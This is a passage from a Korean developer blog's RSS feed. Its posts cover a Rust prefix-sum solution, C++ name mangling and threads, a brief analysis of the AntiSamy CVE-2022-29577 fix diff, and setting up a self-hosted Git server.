    let input_count = input_count.parse::&amp;lt;usize&amp;gt;().unwrap();
    let output_count = output_count.parse::&amp;lt;usize&amp;gt;().unwrap();

    let mut input_vector = Vec::new();
    {
        input.clear();
        std::io::stdin().read_line(&amp;amp;mut input).unwrap();
        let mut input_some = input.trim_end().split(&quot; &quot;);
        for _ in 0..input_count {
            input_vector.push(input_some.next().unwrap().parse::&amp;lt;usize&amp;gt;().unwrap());
        }
    }

    for _ in 0..output_count {
        input.clear();
        std::io::stdin().read_line(&amp;amp;mut input).unwrap();
        let (from, to) = input.trim_end().split_once(&quot; &quot;).unwrap();
        let from = from.parse::&amp;lt;usize&amp;gt;().unwrap() - 1;
        let to = to.parse::&amp;lt;usize&amp;gt;().unwrap() - 1;
        let mut sum = 0;
        for now in input_vector[from..=to].iter() {
            sum += now;
        }
        println!(&quot;{}&quot;, sum);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;이후, 다음과 같은 시도를 하여도 시간이 제대로 측정되지 않았다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;string 버퍼 비우는 작업이 느릴것이라 판단하여 clear()메소드대신 { }을 사용하여 소멸하도록 변경&lt;/li&gt;
  &lt;li&gt;모든 입력값을 read_line을 통해 비우지 않고 한번에 받아 파싱을 나중에 하기&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;문제를 해결한 다음에 생각하는것인데, clear()메소드 대신 { }을 사용하여 변수가 소멸하도록 만든것은 그리 성능을 많이 개선시키지 못했을 것 같다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;p&gt;이후, 입력 관련해서 시간을 더 줄이는데 신경을 썼다.&lt;/p&gt;

&lt;p&gt;그리하여 프로그램 입력 성능 개선 관련 주석이 많이 달려있는 &lt;a href=&quot;https://noj.am/15552&quot;&gt;15552 문제&lt;/a&gt;를 참고해 다음과 같은 모듈을 작성하였다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;/* 이번 문제는 자연수만을 입력받기 때문에 다음과 같이 입력하였지만, 음수 및 소수도 비슷한 방법으로 가능하다. */
fn read_fastest() -&amp;gt; usize {
    let mut sum = 0;
    loop {
        /* stdin()에서 한바이트를 입력받아 처리한다. */
        // 다른 코드를 보면 이곳에서 결과가 제대로 나왔는지 체크하며
        // char형태로 바꾸는 연산이 있었으나,
        // 성능을 개선하기 위해 바이트 형태 그대로 읽어들이는 방법을 사용하였다.
        let input = std::io::stdin().bytes().next().unwrap().unwrap();

        /* \r이면 입력을 한번 더 받고 종료 */
        if input == 13 {
            continue;
        }


        /* 공백이나 \n이 오면 연산한 수를 출력한다. */
        if input == 32 || input == 10 {
            return sum;
        }
        /* 기존 값에 10을 곱해준 다음 */
        sum *= 10;
        /* 입력값을 숫자로 바꿔 0xf로 마스킹해준다 (아스키코드의 숫자로 바꾼다) */
        sum += (input as usize) &amp;amp; 0xf;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;다음과 같이 모듈을 작성하여 사용하여도, 시간초과가 나타났다.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;이후 수의 합을 구하는 속도를 더 빠르게 연산하기 위해, 다음과 같은 시도를 해보았다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;vector의 push 속도 줄이기 - capacity를 기입해 줘 벡터에 값을 넣는 시간을 줄였다&lt;/li&gt;
  &lt;li&gt;vector의 한 데이터 읽는 속도 줄이기 - 포인터를 사용해 vector의 객체에 직접접근&lt;/li&gt;
&lt;/ul&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;  for _ in 0..output_count {
    let from = read();
    let to = read();
    let mut sum = 0;
    let mut now: *const usize = &amp;amp;input_vector[from - 1];
    for _ in from..to {
        sum += unsafe { *now };
        unsafe {
            now = now.offset(1);
        }
    }
    sum += unsafe { *now };
    println!(&quot;{}&quot;, sum);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
  &lt;li&gt;즉시 println!을 통한 출력이 아닌, 문자열로 저장하였다가 한번에 출력&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;하지만 다음과 같은 시도에도 시간초과가 계속 나타나, 결국 어떤 문제인지 알 수 없어 인터넷에 검색을 하여 파이썬 코드를 집어넣은 다음, 러스트로 맞춘 사람들의 소스코드를 열람하였다.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;맞춘 사람의 소스코드를 보니, 받은 입력값을 구하는 방법은 달랐지만, 위의 소스코드의 성능이 다른 소스코드보다 좋게 나올것으로 기대하여 연산 속도에 차이가 날 수 있는 다른 구간을 찾아보았다.&lt;/p&gt;

&lt;p&gt;이내, 다른 프로그램은 알고리즘적인 방법을 사용하여 구간의 합을 구하는 방법을 사용하고 있다는 것을 알게 되었다. (문제의 이름이 구간 합이었는데 입력속도에 문제가 있다고만 생각하여, 구간 합 알고리즘을 생각하지 못했다)&lt;/p&gt;

&lt;p&gt;구간 합 알고리즘을 적용하여 작성한 완성 코드는 다음과 같다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;use std::io::Read;

fn main() {
    let input_count = read();
    let output_count = read();

    let mut input_vector = vec![0; input_count];
    for now in 0..input_count {
        input_vector[now] = read();
    }

    let mut sums = Vec::with_capacity(input_count);
    sums.push(input_vector[0]);
    for now in 1..input_count {
        sums.push(input_vector[now] + sums[now - 1]);
    }

    let mut out = String::new();
    for _ in 0..output_count {
        let from = read();
        let to = read();
        if from &amp;gt; 1 {
            out.push_str(format!(&quot;{}\n&quot;, sums[to - 1] - sums[from - 2]).as_str());
        } else {
            out.push_str(format!(&quot;{}\n&quot;, sums[to - 1]).as_str());
        }
    }
    print!(&quot;{}&quot;, out);
}

fn read() -&amp;gt; usize {
    let mut sum = 0;
    loop {
        let input = std::io::stdin().bytes().next().unwrap().unwrap();

        if input == 13 {
            continue;
        }

        if input == 32 || input == 10 {
            return sum;
        }
        sum *= 10;
        sum += (input as usize) &amp;amp; 0xf;
    }
}
&lt;/code&gt;&lt;/pre&gt;
</description>
        <pubDate>Sun, 28 Aug 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/08/28/nojam_11659/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/08/28/nojam_11659/</guid>
      </item>
    
      <item>
        <title>C/C++ 다형성과 extern &quot;C&quot;</title>
        <description>&lt;h2 id=&quot;c와-c에서-사용되고-있는-함수의-형식이-다르다&quot;&gt;C와 C++에서 사용되고 있는 함수의 형식이 다르다&lt;/h2&gt;

&lt;p&gt;C++ 프로그램에서는 함수의 다형성이 지원되고 있다. 반환타입과 함수의 이름이 같더라도, 함수의 인자 형식이 다르면 같은 이름을 가진 함수를 선언할 수 있다.&lt;/p&gt;

&lt;p&gt;예시는 다음과 같다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C++&quot;&gt;double sum(double x, double y);
int sum(int x, int y);
long long sum(long long x, long long y);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;같은 행동을 하는 프로그램을 만들어야 하지만, 함수의 이름을 sum_d, sum_i, sum_l로 짓기에는 너무 귀찮아진다.&lt;/p&gt;

&lt;p&gt;이를 해결하기 위해 C++에서는 같은 이름을 가진 함수를 선언할 수 있다.&lt;/p&gt;

&lt;p&gt;선언된 함수는 함수 이름의 길이, 인자의 종류 등이 추가되어 함수의 이름이 내부적으로 결정된다.&lt;/p&gt;

&lt;p&gt;예를 들어, (int, int, char) 형태의 인자를 가지고 있는 printSum 이라는 함수는 다음과 같은 형식으로 내부 함수 이름이 결정되게 된다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C++&quot;&gt;_Z8printSumiic
//_Z(함수 글자수)(함수이름)(인자들 순서대로) 로 오는 듯 하다.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;컴파일러에서 어셈블리어로 컴파일하는 과정 이후, 링킹 이전에 이러한 형태를 볼 수 있으며, C++로 만들어진 프로그램을 뜯어보면 이러한 형태의 함수 이름을 사용하고 있는 것을 알 수 있다.&lt;/p&gt;

&lt;p&gt;이러한 형태는 다음 &lt;a href=&quot;https://godbolt.org/&quot;&gt;사이트&lt;/a&gt;에서 쉽게 확인할 수 있다.&lt;/p&gt;

&lt;p&gt;어셈블리어 프로그래밍을 하며 C++프로그램과 링킹 할 때, 함수명을 다음과 같이 정해주면 C++프로그램에서 extern “C”를 적용하지 않아도 컴파일러가 인식해서 제대로 묶어주게 된다.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;C++코드 내부의 함수 이름을 알아내고 싶으면 다음 명령어를 사용해 어셈블리 코드를 알아낼 수 있다. 내부에서 작성한 함수 이름으로 검색하면 찾을 수 있다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;g++ -S (CPP파일)
# 참조나 외의 것들이 맞지 않아도, 문법만 맞으면 제대로 컴파일된다.
# 여러 파일에 대해 한 어셈블리 소스를 만들수도 있고, 여러 어셈블리 소스를 한 출파일로 만들수도 있다.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;다음과 같이 하면 어셈블리 코드 파일이 나오게 되는데, 이를 as (어셈블리 소스 파일 이름) 을 통해 컴파일 할 수 있다.&lt;/p&gt;

&lt;p&gt;이후 g++ (as로 나온 파일 이름들) 을 통해서 링킹할 수 있으며,&lt;/p&gt;

&lt;p&gt;혹은 g++ (cpp 소스코드) (as로 나온 파일 이름들)을 통해서 프로그램으로 링킹할 수 있다. (내부적으로 링킹해준다)&lt;/p&gt;
</description>
        <pubDate>Fri, 24 Jun 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/06/24/C-CPP-extern_C/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/06/24/C-CPP-extern_C/</guid>
      </item>
    
      <item>
        <title>C/C++ 스레드 프로그래밍</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;C++에서의 스레드는 &amp;lt;thread&amp;gt;를 사용해서 사용할 수 있다.&lt;/p&gt;

  &lt;blockquote&gt;
    &lt;p&gt;리눅스에서 스레드 관련 프로그램 컴파일을 위해서 -lpthread 옵션이 필요할 수 있다.&lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;스레드는-다음과-같은-방법으로-사용할-수-있다&quot;&gt;스레드는 다음과 같은 방법으로 사용할 수 있다&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-C++&quot;&gt;std::thread ThreadName(ThreadFunc, arg1, arg2, ...);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;이후 ThreadName.join()을 이용해 스레드가 끝날때까지 기다릴 수 있다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;스레드는-클래스-생성을-통해-정의해줘야-하는데-가변적-길이의-클래스를-정의하기-위해서는-다음과-같은-방법을-사용할-수-있다&quot;&gt;스레드는 클래스 생성을 통해 정의해줘야 하는데, 가변적 길이의 클래스를 정의하기 위해서는 다음과 같은 방법을 사용할 수 있다&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-C++&quot;&gt;std::vector&amp;lt;std::thread&amp;gt; Threads;
Threads.push_back(std::thread(ThreadFunc, arg1, arg2, ...));
Threads[0].join();
&lt;/code&gt;&lt;/pre&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;클래스-내부에-있는-메소드를-클래스-함수로-사용하기-위해-다음과-같은-방법을-사용할-수-있다&quot;&gt;클래스 내부에 있는 메소드를 클래스 함수로 사용하기 위해 다음과 같은 방법을 사용할 수 있다&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-C++&quot;&gt;std::thread(&amp;amp;myClass::Threadmethod, this, arg1, arg2, ...);
// or
typedef 리턴타입 (myFunc::*MethodPointerType)(arg1type, arg2type, ...);
MethodPointerType MethodPointer = &amp;amp;myClass::Threadmethod;
std::thread(MethodPointer, this, arg1, arg2, ...);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;이때 thread의 두번째 인자에 this를 적어줘야 한다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;스레드-함수에-레퍼런스-인자를-두고-싶으면-다음과-같은-방법을-사용할-수-있다&quot;&gt;스레드 함수에 레퍼런스 인자를 두고 싶으면 다음과 같은 방법을 사용할 수 있다&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-C++&quot;&gt;std::thread(ThreadFunc, std::ref(arg1), std::ref(arg2), ...);
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;스레드-함수의-리턴값을-받고-싶으면-다음과-같은-방법을-사용할-수-있다&quot;&gt;스레드 함수의 리턴값을 받고 싶으면 다음과 같은 방법을 사용할 수 있다&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;&amp;lt;future&amp;gt;헤더의 기능을 사용하여 스레드의 결과값을 받아올 수 있다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&quot;language-C++&quot;&gt;std::future&amp;lt;리턴타입&amp;gt; var = std::async(ThreadFunc, arg1, arg2, ...);
var.get(); // 결과를 반환한다. 반환할때까지 실행함.
// or
std::promise&amp;lt;리턴타입&amp;gt; promise;
std::future&amp;lt;리턴타입&amp;gt; var = promise.get_future();
std::thread thread(ThreadFunc, std::move(promise), args...);
thread.join();  // 종료할때까지 기다린다.
var.get(); // 결과를 받아온다.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;아래의 방법에서는 스레드 반환 타입은 void이지만, 스레드 내부에서 인자로 promise를 받고, promise의 변수 값을 설정해주는 방법이다. 그냥 레퍼런스 변수를 사용하는 방법과 비슷하다.&lt;/p&gt;

&lt;p&gt;여러 값을 다양한 방법을 통해 가져올 수 있지만, 인자를 수정해주고 직접 다뤄줘야 하는 불편함이 있다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;여러 값을 받아올 수 있지만 차라리 std::tuple을 통해 여러 값을 반환하는 방법이 나을 듯 하다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;템플릿-함수를-스레드로-사용하기-위해선-아래와-같은-방법을-사용할-수-있다&quot;&gt;템플릿 함수를 스레드로 사용하기 위해선 아래와 같은 방법을 사용할 수 있다&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-C++&quot;&gt;std::thread ThreadName(ThreadFunc&amp;lt;typename, typename, ...&amp;gt;, arg1, arg2, ...);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;끝.&lt;/p&gt;
</description>
        <pubDate>Sat, 18 Jun 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/06/18/C-CPP-Thread/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/06/18/C-CPP-Thread/</guid>
      </item>
    
      <item>
        <title>CVE-2022-29577</title>
        <description>&lt;h3 id=&quot;취약점-번호---cve-2022-29577&quot;&gt;취약점 번호 - &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29577&quot;&gt;CVE-2022-29577&lt;/a&gt;&lt;/h3&gt;

&lt;h3 id=&quot;영향을-주는-프로그램---antisamy-167버전-이하&quot;&gt;영향을 주는 프로그램 - AntiSamy 1.6.7버전 이하&lt;/h3&gt;

&lt;h3 id=&quot;취약점이-주는-영향---타입의-경계값에-있는-노드의-수로-인해-값-검증이-제대로-이루어지지-않을-수-있다&quot;&gt;취약점이 주는 영향 - 타입의 경계값에 있는 노드의 수로 인해 값 검증이 제대로 이루어지지 않을 수 있다&lt;/h3&gt;

&lt;h3 id=&quot;취약점-요약---html-스타일-컨텐츠와의-조합을-이용한-xss-공격-취약점에-대한-수정인-cve-2022-28367에-대해-불완전한-수정으로-인한-오류를-수정한다&quot;&gt;취약점 요약 - Html 스타일 컨텐츠와의 조합을 이용한 XSS 공격 취약점에 대한 수정인 &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28367&quot;&gt;CVE-2022-28367&lt;/a&gt;에 대해 불완전한 수정으로 인한 오류를 수정한다&lt;/h3&gt;

&lt;h3 id=&quot;취약점-대처-방안---취약한-소스-수정&quot;&gt;취약점 대처 방안 - 취약한 소스 수정&lt;/h3&gt;

&lt;h3 id=&quot;취약점-대처---취약한-소스-수정&quot;&gt;취약점 대처 - 취약한 소스 수정&lt;/h3&gt;

&lt;h3 id=&quot;원본-버그-리포트&quot;&gt;&lt;a href=&quot;https://github.com/nahsra/antisamy/releases/tag/v1.6.7&quot;&gt;원본 버그 리포트&lt;/a&gt;&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;AntiSamy는 신뢰할 수 없는 출처에서 받아온 HTML 소스에 대한 공격을 빠르게 검증하기 위한 라이브러리이다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;AntiSamy는 XSS등의 공격을 막을 수 있도록 도와주는 라이브러리로, Child Note의 개수에 대한 타입 값이 정해져 있지 않아 발생하는 잘못된 값 검증이 수정되었다.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/nahsra/antisamy/commit/32e273507da0e964b58c50fd8a4c94c9d9363af0&quot;&gt;소스코드&lt;/a&gt;는 다음과 같이 변경되었다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ele&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getChildNodes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getLength&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;childNodesCount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ele&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getChildNodes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getLength&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;childNodesCount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/*
* 원본 데이터에서 타입이 지정되어있지 않던것을 int형으로 고정시켰다.
*/&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ele&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getChildNodes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getLength&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;childNodesCount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--)&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/*
* 추가적으로 1부터 n까지 반복하던것을 위에서부터 아래로 내려오도록 만들었다.
* 해당 문은 i가 int의 한계값이 될 경우 음수값으로 넘어가기 때문에 생길 수 있는 오버플로우를 예방하기 위함으로 보인다.
*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;공격-시나리오---&quot;&gt;공격 시나리오 - ???&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;이미 발견된 취약점에 대해 조치가 되었지만, 완전하지 못한 조치로 인해 제대로 검증이 되지 않는 현상이다.&lt;/p&gt;

  &lt;p&gt;소스코드에 따르면 ele는 &lt;a href=&quot;https://docs.oracle.com/javase/10/docs/api/org/w3c/dom/Element.html&quot;&gt;Element&lt;/a&gt;형이며, &lt;a href=&quot;https://docs.oracle.com/javase/10/docs/api/org/w3c/dom/Node.html&quot;&gt;Node&lt;/a&gt;형을 상속한다.&lt;/p&gt;

  &lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/javase/10/docs/api/org/w3c/dom/Node.html#getChildNodes()&quot;&gt;getChildNodes()&lt;/a&gt;는 &lt;a href=&quot;https://docs.oracle.com/javase/10/docs/api/org/w3c/dom/NodeList.html&quot;&gt;NordList&lt;/a&gt;를 반환하며 &lt;a href=&quot;https://docs.oracle.com/javase/10/docs/api/org/w3c/dom/NodeList.html#getLength--&quot;&gt;getLength()&lt;/a&gt;는 int형을 반환하고 있어 결과적으로는 문제가 되지 않는 것으로 보인다.&lt;/p&gt;

  &lt;p&gt;하지만 사용 라이브러리를 변경하거나 라이브러리가 업데이트 되는 등(만일 된다면)의 이유로 타입이 변경되게 된다면 오버플로우가 일어날 수 있기 때문에 코드를 변경한 것으로 보인다.&lt;/p&gt;

  &lt;p&gt;추가적으로 어떤 형태로 문제가 일어날 수 있는지 간단한 소스코드를 작성하여 실행해보았지만 자바는 long -&amp;gt; int형의 변환을 허용하고 있지 않았다. (구버전에서는 실행해보지 않음)&lt;/p&gt;

  &lt;p&gt;따라서 문제가 생길 수 있는 여지를 없애는것으로만 보인다.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Fri, 06 May 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/05/06/CVE_2022_29577/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/05/06/CVE_2022_29577/</guid>
      </item>
    
      <item>
        <title>나만의 Git서버 만들기</title>
        <description>&lt;h2 id=&quot;옛날에-만들어-둔-클라우드-서버를-어떻게든-사용하기-위해-설정한-나만의-git서버-만드는-방법이다&quot;&gt;옛날에 만들어 둔 클라우드 서버를 어떻게든 사용하기 위해 설정한 나만의 Git서버 만드는 방법이다&lt;/h2&gt;

&lt;p&gt;여러가지 방법을 사용하여 Git server를 구축해볼것이다.&lt;/p&gt;

&lt;p&gt;해당 페이지는 &lt;a href=&quot;https://git-scm.com/book/ko/v2/Git-%EC%84%9C%EB%B2%84-%EC%84%9C%EB%B2%84%EC%97%90-Git-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0&quot;&gt;Git 홈페이지&lt;/a&gt;의 설명을 많이 참고하였다.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://git-scm.com/book/ko/v2/Git-%EC%84%9C%EB%B2%84-%ED%94%84%EB%A1%9C%ED%86%A0%EC%BD%9C&quot;&gt;추가적으로 해당 문서도 참고하였음.&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;서버용-깃-폴더-설정하기&quot;&gt;서버용 깃 폴더 설정하기&lt;/h3&gt;

&lt;p&gt;서버용 깃 폴더는 다음과 같이 설정할 수 있다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;git init –bare (???.git등의 형태로 만든 빈 폴더 안에서) (관례상으로 서버용 깃 폴더는 .git으로 끝나기 때문이다.)&lt;/p&gt;

  &lt;p&gt;git clone &lt;a href=&quot;https://github.com/&quot;&gt;https://github.com/&lt;/a&gt;(사용자 이름)/(레포지토리 이름) –bare&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;위와 같은 형태로 –bare옵션을 넣어주는 형태로 깃을 설정할 시, 작업들을 저장할 수 있는 작업 폴더가 생성된다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;ssh를-이용한-깃서버-접속&quot;&gt;SSH를 이용한 깃서버 접속&lt;/h3&gt;

&lt;p&gt;전문적으로 git을 관리하기 위한 계정을 만들어준다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;sudo useradd git(아니면 다른 이름을 사용한다) (옵션(깃 폴더 지정 등))&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;이후 위의 깃 폴더 설정 이후 해당 명령어를 사용해 깃을 복사할 수 있다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;git clone ssh://git(계정명)@(주소)/(깃 폴더 절대주소)&lt;/p&gt;

  &lt;p&gt;git clone git(계정명)@(주소):(홈 폴더 기준 상대주소) (계정명을 생략할 시 현재 로그인한 사용자의 계정을 사용한다고 한다.)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;이때 주의해야 할 점은, 위의 방법은 홈폴더 기준이 아닌 루트폴더 기준이라는것이다.&lt;/p&gt;

&lt;p&gt;홈 폴더에 있는 레포지토리를 클론하기 위해선 ssh://git@homepage/~/example.git 등의 방법을 사용해야한다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;좀 더 편하게 ssh를 이용하기 위해선 rsa키를 설정해서 이용하는것이 좋다.&lt;/p&gt;

  &lt;p&gt;그것이 아니라면 ssh에 비밀번호를 이용하여 접근할 수 있는지 확인하는것은 필수다.&lt;/p&gt;

  &lt;p&gt;다음과 같은 방법을 사용했는데 오류가 나타난다면 해당 유저가 레포지토리 폴더에 접근할 수 있는지 확인하라. (폴더의 권한이나 사용자, 그룹설정 등)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;git-daemon을-이용한-깃서버-접속&quot;&gt;Git daemon을 이용한 깃서버 접속&lt;/h3&gt;

&lt;p&gt;깃 데몬을 이용하는 방법은 생각보다 까다로웠다.&lt;/p&gt;

&lt;p&gt;Git daemon은 기본적으로 인증 절차가 없기 때문.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://git-scm.com/docs/git-daemon&quot;&gt;해당 문서를 참고하였다.&lt;/a&gt; &lt;a href=&quot;https://git-scm.com/book/ko/v2/Git-%EC%84%9C%EB%B2%84-Git-%EB%8D%B0%EB%AA%AC&quot;&gt;설명이 더 많은 한국어버전&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;대부분의 설정은 그냥 따라하면 되지만 푸시를 할 수 없기 때문에 추가적인 설정이 필요하다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;다음과 같은 방법으로 /etc/systemd/system/git-daemon.service 파일을 작성한다.&lt;/p&gt;
  &lt;blockquote&gt;

    &lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Unit]
Description=Start Git Daemon

[Service]
ExecStart=/usr/bin/git(깃 실행파일 주소) daemon --reuseaddr --base-path=/srv/git/(깃 저장소 폴더) /srv/git/(깃 저장소 폴더)

Restart=always
RestartSec=500ms

StandardOutput=syslog
StandardError=syslog
SyslogIdentifier=git-daemon (service명령어를 볼 때 사용되는 듯 하다)

User=git(사용자)
Group=git(그룹)

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/blockquote&gt;

  &lt;p&gt;이후 systemctl enable git-daemon명령을 통해서 활성화를 시킬 수 있다. (우분투 14.04 이전버전이면 홈페이지에 기재된 방법 사용)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;위에 적힌 스크립트에서 ( )부분은 사용자의 설정에 따라 바뀔 수 있다.&lt;/p&gt;

&lt;blockquote&gt;
